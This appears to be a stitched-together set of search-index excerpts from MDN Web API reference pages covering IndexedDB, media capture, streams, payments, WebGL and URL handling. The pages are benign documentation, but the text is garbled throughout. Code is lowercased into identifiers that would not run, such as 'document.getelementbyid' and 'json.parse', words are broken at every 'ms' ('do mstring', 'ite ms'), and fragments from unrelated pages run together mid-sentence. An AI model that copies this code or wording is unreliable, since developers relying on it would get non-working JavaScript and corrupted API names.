msg, nstatus = this.status; switch (nstatus) { case 200: v
msg = json.parse(this.responsetext); document.title = opageinfo.title = v
msg.page; document.getelementbyid(stargetid).innerhtml = v
msg.content; if (bupdateurl) { history.pushstate(opageinfo, opageinfo.title, opageinfo.url); ...
... bupdateurl = false; } break; default: v
msg = nstatus + ": " + (ohttpstatus[nstatus] || "unknown"); switch (math.floor(nstatus / 100)) { /* case 1: // informational 1xx console.log("information code " + v
msg); break; case 2: // successful 2xx console.log("successful code " + v
msg); break; case 3: // redirection 3xx console.log("redirection code " + v
msg); break; */ case 4: ...
... /* client error 4xx */ alert("client error #" + v
msg); break; case 5: /* server error 5xx */ alert("server error #" + v
msg); break; default: /* unknown status */ ajaxerror(); } } closereq(); } function filterurl (surl, sviewmode) { return surl.replace(rsearch, "") + ("?" + surl.replace(rhost, "&").replace(rview, sviewmode ?
IDBCursorWithValue - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetidbcursorwithvaluechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitvaluechrome full support 24 full support 24 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yesavailable in workerschrome full support yesedge full support ≤18firefox full support 42ie ?
... sa
msung internet android full support yeslegend full support full support partial support partial support compatibility unknown compatibility unknownreq...
IDBDatabase.name - Web APIs
the name read-only property of the idbdatabase interface is a do
mstring that contains the name of the connected database.
... syntax var dbname = idbdatabase.name; value a do
mstring containing the name of the connected database.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnamechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBDatabase.objectStoreNames - Web APIs
the objectstorenames read-only property of the idbdatabase interface is a do
mstringlist containing a list of the names of the object stores currently in the connected database.
... syntax var list[] = idbdatabase.objectstorenames; value a do
mstringlist containing a list of the names of the object stores currently in the connected database.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetobjectstorenameschrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBDatabase.transaction() - Web APIs
since such catastrophic events are rare most consumers should not need to concern the
mselves further.
...duplicate ite
ms not allowed.</li>'; }; // you would then go on to do something to this database // via an object store var objectstore = transaction.objectstore("todolist"); // etc.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettransactionchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBIndex.name - Web APIs
syntax var indexname = idbindex.name; idbindex.name = indexname; value a do
mstring specifying a name for the index.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnamechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
...— ?prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5renaming with name setterchrome full support yesedge full support ≤79firefox full support 49ie ?
... sa
msung internet android full support yeslegend full support full support partial support partial support compatibility unknown compatibility unknownrequires a vendor p...
IDBObjectStore.indexNames - Web APIs
syntax var myindexnames = objectstore.indexnames; value a do
mstringlist.
...duplicate ite
ms not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.indexnames); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.inner...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetindexnameschrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBRequest.error - Web APIs
the list describes proble
ms that could occur when the request is being executed, but you might also encounter other proble
ms when the request is being made.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung interneterrorchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitdomexception value instead of domerrorchrome full support 48edge full support ...
... nowebview android full support 48chrome android full support 48firefox android full support 58opera android full support yessafari ios no support nosa
msung internet android full support 5.0legend full support full support partial support partial support no support no supportrequires a vendor prefix ...
IDBTransaction.objectStoreNames - Web APIs
the objectstorenames read-only property of the idbtransaction interface returns a do
mstringlist of names of idbobjectstore objects.
... syntax var mydatabase = transactionobj.objectstorenames; returns a do
mstringlist of names of idbobjectstore objects.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetobjectstorenameschrome full support 48edge full support ≤79firefox full support yesie ?
... yeswebview android full support 48chrome android full support 48firefox android full support yesopera android full support 35safari ios full support yessa
msung internet android full support 5.0legend full support full support compatibility unknown compatibility unknown ...
IDBVersionChangeEvent.newVersion - Web APIs
window.indexeddb = window.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.
msindexeddb; // don't use "var indexeddb = ..." if you're not in a function.
... // moreover, you may need references to some window.idb* objects: window.idbtransaction = window.idbtransaction || window.webkitidbtransaction || window.
msidbtransaction; window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.
msidbkeyrange; // (mozilla has never prefixed these objects, // so we don't need window.mozidb*) // let us open version 4 of our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnewversionchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
Checking when a deadline is due - Web APIs
on mobile platfor
ms you tend to get a numeric keypad for entering data, which is helpful.
...duplicate ite
ms not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var request = objectstore.add(newitem[0]); in this section we create an object called newitem that stores the data in the format required to insert it into the database.
...hat is not much use to anyone!) var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { next we create another indexeddb objectstore, and use the opencursor() method to open a cursor, which is basically a way in indexeddb to iterate through all the ite
ms in the store.
... we then loop through all the ite
ms in the cursor for as long as there is a valid item left in the cursor.
MediaDeviceInfo.kind - Web APIs
syntax var kind = mediadeviceinfo.kind value a do
mstring.
... specifications specification status comment media capture and strea
msthe definition of 'kind' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetkindchrome full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfilledge full support 12firefox full support 39ie no su...
...able through the adapter.js polyfillfirefox android full support 39opera android no support nonotes no support nonotes notes this property can be used in opera by using the adapter.js polyfill.safari ios no support nosa
msung internet android full support 6.0notes full support 6.0notes notes for earlier versions, this interface is available through the adapter.js polyfilllegend full support full support no support ...
MediaDevices - Web APIs
see capabilities and constraints in media capture and strea
ms api (media stream) to learn more about constraints and how to use them.
...var video = document.queryselector('video'); var constraints = window.constraints = { audio: false, video: true }; var errorelement = document.queryselector('#error
msg'); navigator.mediadevices.getusermedia(constraints) .then(function(stream) { var videotracks = stream.getvideotracks(); console.log('got stream with constraints:', constraints); console.log('using video device: ' + videotracks[0].label); stream.onremovetrack = function() { console.log('stream ended'); }; window.stream = stream; // make variable available to browser console vid...
...eo.srcobject = stream; }) .catch(function(error) { if (error.name === 'constraintnotsatisfiederror') { error
msg('the resolution ' + constraints.video.width.exact + 'x' + constraints.video.height.exact + ' px is not supported by your device.'); } else if (error.name === 'permissiondeniederror') { error
msg('permissions have not been granted to use your camera and ' + 'microphone, you need to allow the page access to your devices in ' + 'order for the demo to work.'); } error
msg('getusermedia error: ' + error.name, error); }); function error
msg(
msg, error) { errorelement.innerhtml += '<p>' +
msg + '</p>'; if (typeof error !== 'undefined') { console.error(error); } } specifications specification status comment media cap...
...ture and strea
msthe definition of 'mediadevices' in that specification.
MediaStream.id - Web APIs
the mediastream.id() read-only property is a do
mstring containing 36 characters denoting a unique identifier (guid) for the object.
... syntax var id = mediastream.id; example var p = navigator.mediadevices.getusermedia({ audio: true, video: true }); p.then(function(stream) { console.log(stream.id); }) specifications specification status comment media capture and strea
msthe definition of 'mediastream.id' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetidchrome no support ?
...— 41safari ios full support yessa
msung internet android no support ?
MediaStreamTrack - Web APIs
mediastreamtrack.id read only returns a do
mstring containing a unique identifier (guid) for the track; it is generated by the browser.
... mediastreamtrack.kind read only returns a do
mstring set to "audio" if the track is an audio track and to "video", if it is a video track.
... mediastreamtrack.label read only returns a do
mstring containing a user agent-assigned label that identifies the track source, as in "internal microphone".
... candidate recommendation additional properties for isolated track support media capture and strea
msthe definition of 'mediastreamtrack' in that specification.
Capabilities, constraints, and settings - Web APIs
if you wish to learn more, see section 11 of the media capture and strea
ms specification, past example 2.
... then we initialize the variables which will hold the mediatrackconstraints objects for the video and audio tracks, as well as the variables which will hold references to the video and audio tracks the
mselves, to null.
... function log(
msg) { logelement.innerhtml += (
msg + "<br>"); } function handleerror(reason) { log("error <code>" + reason.name + "</code> in constraint <code>" + reason.constraint + "</code>: " + reason.message); } result here you can see the complete example in action.
... specifications specification status comment media capture and strea
msthe definition of 'constrainable pattern' in that specification.
Metadata - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetmetadata experimentalnon-standardchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤79prefixed full support ≤79prefixed prefixed...
... full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitfirefox android no support noopera android no support nosafari ios no support nosa
msung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitmodificationtime experimentalnon-standardchrome full support 13edge full support ≤79firefox ...
...t nowebview android no support nochrome android full support yesfirefox android no support noopera android no support nosafari ios no support nosa
msung internet android full support yessize experimentalnon-standardchrome full support 13edge full support ≤79firefox no support noie no support noopera no su...
...t nowebview android no support nochrome android full support yesfirefox android no support noopera android no support nosafari ios no support nosa
msung internet android full support yeslegend full support full support no support no supportexperimental.
Page Visibility API - Web APIs
this operates in a similar way across modern browsers, with the details being as follows: in firefox, windows in background tabs each have their own time budget in milliseconds — a max and a min value of +50
ms and -150
ms, respectively.
... the budget regenerates at a rate of 10
ms per second, in both firefox and chrome.
...hen you switch to another tab and plays again when you return to its tab, was created with the following code: // set the name of the hidden property and the change event for visibility var hidden, visibilitychange; if (typeof document.hidden !== "undefined") { // opera 12.10 and firefox 18 and later support hidden = "hidden"; visibilitychange = "visibilitychange"; } else if (typeof document.
mshidden !== "undefined") { hidden = "
mshidden"; visibilitychange = "
msvisibilitychange"; } else if (typeof document.webkithidden !== "undefined") { hidden = "webkithidden"; visibilitychange = "webkitvisibilitychange"; } var videoelement = document.getelementbyid("videoelement"); // if the page is hidden, pause the video; // if the page is shown, play the video function handlevisibilitycha...
... document.visibilitystate read only a do
mstring indicating the document's current visibility state.
ParentNode.append() - Web APIs
the parentnode.append() method inserts a set of node objects or do
mstring objects after the last child of the parentnode.
... do
mstring objects are inserted as equivalent text nodes.
... differences from node.appendchild(): parentnode.append() allows you to also append do
mstring objects, whereas node.appendchild() only accepts node objects.
... syntax // [throws, unscopable] parentnode.append(...nodesordo
mstrings) // returns undefined parameters nodes a set of node or do
mstring objects to insert.
ParentNode - Web APIs
methods parentnode.append() inserts a set of node objects or do
mstring objects after the last child of the parentnode.
... do
mstring objects are inserted as equivalent text nodes.
... parentnode.prepend() inserts a set of node objects or do
mstring objects before the first child of the parentnode.
... do
mstring objects are inserted as equivalent text nodes.
PaymentDetailsUpdate - Web APIs
displayite
ms optional an array of paymentitem objects, each describing one line item for the payment request.
... these represent the line ite
ms on a receipt or invoice.
... error optional a do
mstring specifying an error message to present to the user.
...make sure this equals the sum of all of the ite
ms in displayite
ms.
PaymentRequestUpdateEvent.updateWith() - Web APIs
syntax paymentrequestupdateevent.updatewith(details); parameters details a paymentdetailsupdate object specifying the changes applied to the payment request: displayite
ms optional an array of paymentitem objects, each describing one line item for the payment request.
... these represent the line ite
ms on a receipt or invoice.
... error optional a do
mstring specifying an error message to present to the user.
...make sure this equals the sum of all of the ite
ms in displayite
ms.
Payment Request API - Web APIs
payment request concepts and usage many proble
ms related to online shopping-cart abandonment can be traced to checkout for
ms, which can be difficult and time consuming to fill out and often require multiple steps to complete.
... the payment request api is meant to reduce the number of steps needed to complete a payment online, potentially doing away with checkout for
ms.
... it ai
ms to make the checkout process easier, by remembering a user's details, which are then passed along to a merchant hopefully without requiring a html form.
... merchantvalidationevent represents the browser requiring the merchant (website) to validate the
mselves as allowed to use a particular payment handler (e.g., registered as allowed to use apple pay).
PushEvent - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetpushevent experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference.
... 42firefox android full support 44 full support 44 full support 48notes notes push enabled by default.opera android full support 37safari ios no support nosa
msung internet android full support 4.0pushevent() constructor experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service wor...
... 42firefox android full support 44 full support 44 full support 48notes notes push enabled by default.opera android full support 37safari ios no support nosa
msung internet android full support 4.0data experimentalchrome full support 57edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference.
... 57firefox android full support 44 full support 44 full support 48notes notes push enabled by default.opera android full support 43safari ios no support nosa
msung internet android full support 4.0legend full support full support no support no supportexperimental.
RTCConfiguration.bundlePolicy - Web APIs
the rtcconfiguration dictionary's bundlepolicy property is a string value indicating which sdp bundling policy, if any, to use for the underlying rtp strea
ms used by an rtcpeerconnection.
... syntax let rtcconfiguration = { bundlepolicy: policy }; rtcconfiguration.bundlepolicy = policy; value a do
mstring identifying the sdp bundling policy to use for the rtp strea
ms used by the rtcpeerconnection.
... in technical ter
ms, an sdp bundle lets all of the media tracks (identified in the sdp from the m= lines) stream between two peers across a single 5-tuple, that is, from a single ip and port on one peer to a single ip and port on another peer, all using the same rtcdtlstransport.
...the fewer rtp transports or bundles of rtp strea
ms you have, the better the network performance will be.
RTCDTMFSender.insertDTMF() - Web APIs
syntax rtcdtmfsender.insertdtmf(tones[, duration[, intertonegap]]); parameters tones a do
mstring containing the dtmf codes to be transmitted to the recipient.
...this value must be between 40
ms and 6000
ms (6 seconds), inclusive.
... the default is 100
ms.
...the browser will enforce a minimum value of 30
ms (that is, if you specify a lower value, 30
ms will be used instead); the default is 70
ms.
RTCIceCandidate.usernameFragment - Web APIs
syntax var ufrag = rtcicecandidate.usernamefragment; value a do
mstring containing the username fragment (usually referred to in shorthand as "ufrag" or "ice-ufrag") that, along with the ice password ("ice-pwd"), uniquely identifies a single ongoing ice interaction, including for any communication with the stun server.
...this avoids crosstalk among multiple ongoing ice sessions, but, more importantly, helps secure ice transactions (and all of webrtc by extension) against attacks that might try to inject the
mselves into an ice exchange.
...the function below, ssnewcandidate(), is called when a message, signal
msg, arrives from the signaling server that contains an ice candidate to be added to the rtcpeerconnection.
... to avoid including candidates obsoleted by an ice restart, we can use code like this: const ssnewcandidate = signal
msg => { let candidate = new rtcicecandidate(signal
msg.candidate); let receivers = pc.getreceivers(); receivers.foreach(receiver => { let parameters = receiver.transport.getparameters(); if (parameters.usernamefragment === candidate.usernamefragment) { return; } }); pc.addicecandidate(candidate) .catch(reporterror); } this walks through the list of the rtcrtpreceiver objects being used to receive ice data, and looks to see if the usernamefragment indicated in the candidate matches any of them.
ReadableStream.getReader() - Web APIs
syntax var reader = readablestream.getreader({mode}); parameters {mode} optional an object containing a property mode, which takes as its value a do
mstring specifying the type of reader to create.
... values can be: "byob", which results in a readablestreambyobreader being created that can read readable byte strea
ms (i.e.
... if (done) { console.log("stream complete"); para.textcontent = value; return; } // value for fetch strea
ms is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' + charsreceived + ' characters so far.
... current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } specifications specification status comment strea
msthe definition of 'getreader()' in that specification.
ReadableStream.pipeThrough() - Web APIs
syntax var transformedstream = readablestream.pipethrough(transfor
mstream[, options]); parameters transfor
mstream a transfor
mstream (or an object with the structure {writable, readable}) consisting of a readable stream and a writable stream working together to transform some data from one form to another.
... return value the readable side of the transfor
mstream.
... exceptions typeerror the writable and/or readable property of transfor
mstream are undefined.
... // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(rs => logreadablestream('fetch response stream', rs)) // create a gray-scaled png stream out of the original .then(body => body.pipethrough(new pngtransfor
mstream())) .then(rs => logreadablestream('png chunk stream', rs)) specifications specification status comment strea
msthe definition of 'pipethrough()' in that specification.
ReadableStream.tee() - Web APIs
syntax var teedstrea
ms = readablestream.tee(); parameters none.
... examples in the following simple example, a previously-created stream is teed, then both resulting strea
ms (contained in two members of a generated array) are passed to a function that reads the data out of the two strea
ms and prints each stream's chunks sequentially to a different part of the ui.
... if (done) { console.log("stream complete"); return; } // value for fetch strea
ms is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'read ' + charsreceived + ' characters so far.
... current chunk = ' + chunk; list.appendchild(listitem); // read some more, and call this function again return reader.read().then(processtext); }); } specifications specification status comment strea
msthe definition of 'tee()' in that specification.
SVGAElement - Web APIs
svgaelement.hreflang is a do
mstring that reflects the hreflang attribute, indicating the language of the linked resource.
... svgaelement.ping is a do
mstring that reflects the ping attribute, containing a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background).
... svgaelement.text is a do
mstring being a synonym for the node.textcontent property.
... svgaelement.type is a do
mstring that reflects the type attribute, indicating the mime type of the linked resource.
SVGAnimatedPathData - Web APIs
name type description animatednormalizedpathseglist svgpathseglist provides access to the current animated contents of the 'd' attribute in a form where all path data commands are expressed in ter
ms of the following subset of svgpathseg types: svg_pathseg_moveto_abs (m), svg_pathseg_lineto_abs (l), svg_pathseg_curveto_cubic_abs (c) and svg_pathseg_closepath (z).
... normalizedpathseglist svgpathseglist provides access to the base (i.e., static) contents of the 'd' attribute in a form where all path data commands are expressed in ter
ms of the following subset of svgpathseg types: svg_pathseg_moveto_abs (m), svg_pathseg_lineto_abs (l), svg_pathseg_curveto_cubic_abs (c) and svg_pathseg_closepath (z).
...ility desktop mobile chrome edge firefox internet explorer opera safari android webview chrome for android firefox for android opera for android safari on ios sa
msung internet svganimatedpathdata chrome ?
... sa
msung internet android ?
SVGPathSeg - Web APIs
interface overview also implement none methods none properties unsigned short pathsegtype do
mstring pathsegtypeasletter constants pathseg_unknown = 0 pathseg_closepath = 1 pathseg_moveto_abs = 2 pathseg_moveto_rel = 3 pathseg_lineto_abs = 4 pathseg_lineto_rel = 5 pathseg_curveto_cubic_abs = 6 pathseg_curveto_cubic_rel = ...
... pathsegtypeasletter do
mstring the type of the path segment as specified by the corresponding one character command name.
...ility desktop mobile chrome edge firefox internet explorer opera safari android webview chrome for android firefox for android opera for android safari on ios sa
msung internet svgpathseg chrome ?
... sa
msung internet android ?
SVGStylable - Web APIs
interface overview also implement none methods cssvalue getpresentationattribute(in do
mstring name) properties readonly svganimatedstring classname readonly cssstyledeclaration style normative document svg 1.1 (2nd edition) properties name type description classname svganimatedstring corresponds to attribute class on the given element.
... methods name & arguments return description getpresentationattribute(in do
mstring name) cssvalue returns the base (i.e., static) value of a given presentation attribute as an object of type cssvalue.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvgstylablechrome ?
... sa
msung internet android ?
Screen Capture API - Web APIs
the screen capture api introduces additions to the existing media capture and strea
ms api to let the user select a screen or portion of a screen (such as a window) to capture as a media stream.
... to start capturing video from the screen, you call getdisplaymedia() on the instance of media navigator.mediadevices: capturestream = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); the promise returned by getdisplaymedia() resolves to a mediastream which strea
ms the captured media.
... mediatrackconstraints mediatrackconstraints.cursor a constraindo
mstring indicating whether or not the cursor should be included in the captured display surface's stream, and if it should always be visible or if it should only be visible while the mouse is in motion.
... mediatrackconstraints.displaysurface a constraindo
mstring indicating what type of display surface is to be captured.
SecurityPolicyViolationEvent - Web APIs
securitypolicyviolationevent.effectivedirectiveread only a do
mstring representing the directive whose enforcement uncovered the violation.
... securitypolicyviolationevent.originalpolicyread only a do
mstring containing the policy whose enforcement uncovered the violation.
... securitypolicyviolationevent.sampleread only a do
mstring representing a sample of the resource that caused the violation, usually the first 40 characters.
... securitypolicyviolationevent.violateddirectiveread only a do
mstring representing the directive whose enforcement uncovered the violation.
Using Service Workers - Web APIs
if you just passed in the url, and then tried to access the other ite
ms in the json separately when the for() loop is being iterated through later on, it wouldn’t work, as the promise wouldn’t resolve at the same time as the iterations are being done (that is a synchronous process.) we actually resolve the promise with an array, as we want to make the loaded image blob available to the resolving function later on in the code, but also the image name, credits and...
...scope is ' + reg.scope); }).catch((error) => { // registration failed console.log('registration failed with ' + error); }); } the outer block perfor
ms a feature detection test to make sure service workers are supported before trying to register one.
... note: your service worker functions like a proxy server, allowing you to modify requests and responses, replace them with ite
ms from its own cache, and more.
... cloning the response is necessary because request and response strea
ms can only be read once.
Storage - Web APIs
it allows, for example, the addition, modification, or deletion of stored data ite
ms.
... properties storage.length read only returns an integer representing the number of data ite
ms stored in the storage object.
...we first test whether the local storage contains data ite
ms using !localstorage.getitem('bgcolor').
... if it does, we run a function called setstyles() that grabs the data ite
ms using storage.getitem() and uses those values to update page styles.
SubtleCrypto.verify() - Web APIs
syntax const result = crypto.subtle.verify(algorithm, key, signature, data); parameters algorithm is a do
mstring or object defining the algorithm to use, and for some algorithm choices, some extra parameters.
... to use rsa-pss, pass an rsapsspara
ms object.
... to use ecdsa, pass an ecdsapara
ms object.
... supported algorith
ms the verify() method supports the same algorith
ms as the sign() method.
Touch.radiusX - Web APIs
summary returns the x radius of the ellipse that most closely circu
mscribes the area of contact with the touch surface.
... syntax var xradius = touchitem.radiusx; return value xradius the x radius of the ellipse that most closely circu
mscribes the area of contact with the touch surface.
...the touch.radiusx property is the radius of the ellipse which most closely circu
mscribes the touching area (e.g.
...likewise, the touch.radiusy property is the radius of the ellipse which most closely circu
mscribes the touching area (e.g.
URL.createObjectURL() - Web APIs
the url.createobjecturl() static method creates a do
mstring containing a url representing the object given in the parameter.
... return value a do
mstring containing an object url that can be used to reference the contents of the specified source object.
... using object urls for media strea
ms in older versions of the media source specification, attaching a stream to a <video> element required creating an object url for the mediastream.
... important: if you still have code that relies on createobjecturl() to attach strea
ms to media elements, you need to update your code to simply set srcobject to the mediastream directly.
URL - Web APIs
searchpara
ms read only a urlsearchpara
ms object which can be used to access the individual query parameters found in search.
... static methods createobjecturl() returns a do
mstring containing a unique blob url, that is a url with blob: as its scheme, followed by an opaque string uniquely identifying the object in the browser.
...for instance: url.pathname = 'démonstration.html'; console.log(url.href); // "http://www.example.com/d%c3%a9monstration.html" the urlsearchpara
ms interface can be used to build and manipulate the url query string.
... to get the search para
ms from the current window's url, you can do this: // https://some.site/?id=123 const parsedurl = new url(window.location.href); console.log(parsedurl.searchpara
ms.get("id")); // "123" the tostring() method of url just returns the value of the href property, so the constructor can be used to normalize and encode a url directly.
VideoTrack - Web APIs
id read only a do
mstring which uniquely identifies the track within the media.
... kind read only a do
mstring specifying the category into which the track falls.
... label read only a do
mstring providing a human-readable label for the track.
... language read only a do
mstring specifying the video track's primary language, or an empty string if unknown.
WebGL2RenderingContext - Web APIs
progra
ms and shaders webgl2renderingcontext.getfragdatalocation() returns the binding of color numbers to user-defined varying out variables.
... unifor
ms and attributes webgl2renderingcontext.uniform[1234][uif][v]() methods specifying values of uniform variables.
... webgl2renderingcontext.getuniformindices() retrieves the indices of a number of unifor
ms within a webglprogram.
... webgl2renderingcontext.getactiveunifor
ms() retrieves information about active unifor
ms within a webglprogram.
WebGL constants - Web APIs
color_clear_value 0x0c22 color_writemask 0x0c23 unpack_alignment 0x0cf5 pack_alignment 0x0d05 max_texture_size 0x0d33 max_viewport_di
ms 0x0d3a subpixel_bits 0x0d50 red_bits 0x0d52 green_bits 0x0d53 blue_bits 0x0d54 alpha_bits 0x0d55 depth_bits 0x0d56 stencil_bits 0x0d57 polygon_offset_units 0x2a00 polygon_offset_factor 0x8038 texture_binding_2d 0x8069 ...
... active_unifor
ms 0x8b86 passed to getprogramparamter to get the number of unifor
ms active in a program.
... depth24_stencil8 0x88f0 draw_framebuffer_binding 0x8ca6 read_framebuffer 0x8ca8 draw_framebuffer 0x8ca9 read_framebuffer_binding 0x8caa renderbuffer_samples 0x8cab framebuffer_attachment_texture_layer 0x8cd4 framebuffer_incomplete_multisample 0x8d56 unifor
ms constant name value description uniform_buffer 0x8a11 uniform_buffer_binding 0x8a28 uniform_buffer_start 0x8a29 uniform_buffer_size 0x8a2a max_vertex_uniform_blocks 0x8a2b max_fragment_uniform_blocks 0x8a2d max_combined_uniform_blocks 0x8a2e max_unifo...
... 0x8a37 uniform_size 0x8a38 uniform_block_index 0x8a3a uniform_offset 0x8a3b uniform_array_stride 0x8a3c uniform_matrix_stride 0x8a3d uniform_is_row_major 0x8a3e uniform_block_binding 0x8a3f uniform_block_data_size 0x8a40 uniform_block_active_unifor
ms 0x8a42 uniform_block_active_uniform_indices 0x8a43 uniform_block_referenced_by_vertex_shader 0x8a44 uniform_block_referenced_by_fragment_shader 0x8a46 sync objects constant name value description object_type 0x9112 sync_condition 0x9113 sync_status 0x9114 ...
Matrix math for the web - Web APIs
this article explores how to create matrices and how to use them with css transfor
ms and the matrix3d transform type.
...the flatness is equivalent to when a camera zoo
ms in really close onto an object in the distance — the sense of perspective disappears.
...they can easily be shared around in progra
ms.
...matrices effectively remember every part of the previous transfor
ms that were used to generate them.
Adding 2D content to a WebGL context - Web APIs
the vertex shader must perform the needed transfor
ms on the vertex's position, make any other adjustments or calculations it needs to make on a per-vertex basis, then return the transformed vertex by saving it in a special variable provided by glsl, called gl_position.
...in this case we have one attribute and two unifor
ms.
...unifor
ms are similar to javascript global variables.
...buffer, buffers.position); gl.vertexattribpointer( programinfo.attriblocations.vertexposition, numcomponents, type, normalize, stride, offset); gl.enablevertexattribarray( programinfo.attriblocations.vertexposition); } // tell webgl to use our program when drawing gl.useprogram(programinfo.program); // set the shader unifor
ms gl.uniformmatrix4fv( programinfo.uniformlocations.projectionmatrix, false, projectionmatrix); gl.uniformmatrix4fv( programinfo.uniformlocations.modelviewmatrix, false, modelviewmatrix); { const offset = 0; const vertexcount = 4; gl.drawarrays(gl.triangle_strip, offset, vertexcount); } } the first step is to clear the canvas to our backg...
WebGL: 2D and 3D graphics for the web - Web APIs
webgl does so by introducing an api that closely confor
ms to opengl es 2.0 that can be used in html5 <canvas> elements.
...topics examined are adapting to aspect ratio differences, a function to build shader progra
ms from sets of multiple shaders, and the basics of drawing in webgl.
... matrix math for the web a useful guide to how 3d transform matrices work, and can be used on the web — both for webgl calculations and in css3 transfor
ms.
